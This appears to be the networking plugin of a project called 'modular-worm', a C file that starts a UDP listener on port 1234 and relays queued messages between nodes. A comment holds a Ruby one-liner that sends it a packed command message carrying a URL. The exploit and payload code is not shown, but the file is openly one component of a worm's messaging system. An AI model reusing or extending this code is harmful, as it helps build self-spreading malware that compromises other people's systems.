modular-worm/plugins/3_network.c

71 lines
1.7 KiB
C

/* see also: https://beej.us/guide/bgnet/output/html/multipage/clientserver.html */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "api.h"
#include "error_codes.h"
#include "3_network.h"
api_plugin_t version = {.id = 3, .flag = 0, .major = 1, .minor = 0};
/* Avoid to restart the server each time the plugin is called to listen */
static int server_p = -1;
#include "3_network_helpers.c"
#include "3_network_recv.c"
#include "3_network_send.c"
// Internal API
static int p_recv_one_message() {
return p_recv_message();
}
static int p_send_one_message() {
api_msg_t msg;
if (API_RECEIVE_MESSAGE(&((api_plugin_t){0, 0, 0, 0}), msg) == 0) {
p3_send_t *infos = (p3_send_t *)(msg.content);
/* p_send_message_to(infos->ip, infos->port, infos->content, infos->content_length); */
p_send_message_to(infos);
return SUCCESS;
}
else
return ERR_NO_MESSAGE;
}
static int p_send_all_messages() {
while (p_send_one_message() == SUCCESS) {
;
}
return SUCCESS;
}
/*
Test with ruby:
require "socket"; u = UDPSocket.new; u.connect("127.0.0.1", 1234); u.puts [0xb1ff1e,1,2,3,4,21].pack("LLCLLS") + [0].pack("C") + "http://192.168.0.124"
TODO WARN TEST: requires design/implementation of an API to start the server. Filled with test (1234) for now
*/
static int server_started = -1;
static int first_try = 0;
void run(void)
{
if (first_try == 0)
server_started = p_start_server("1234");
if (server_started == 0) {
p_recv_one_message();
}
p_send_all_messages();
first_try = 1;
return;
}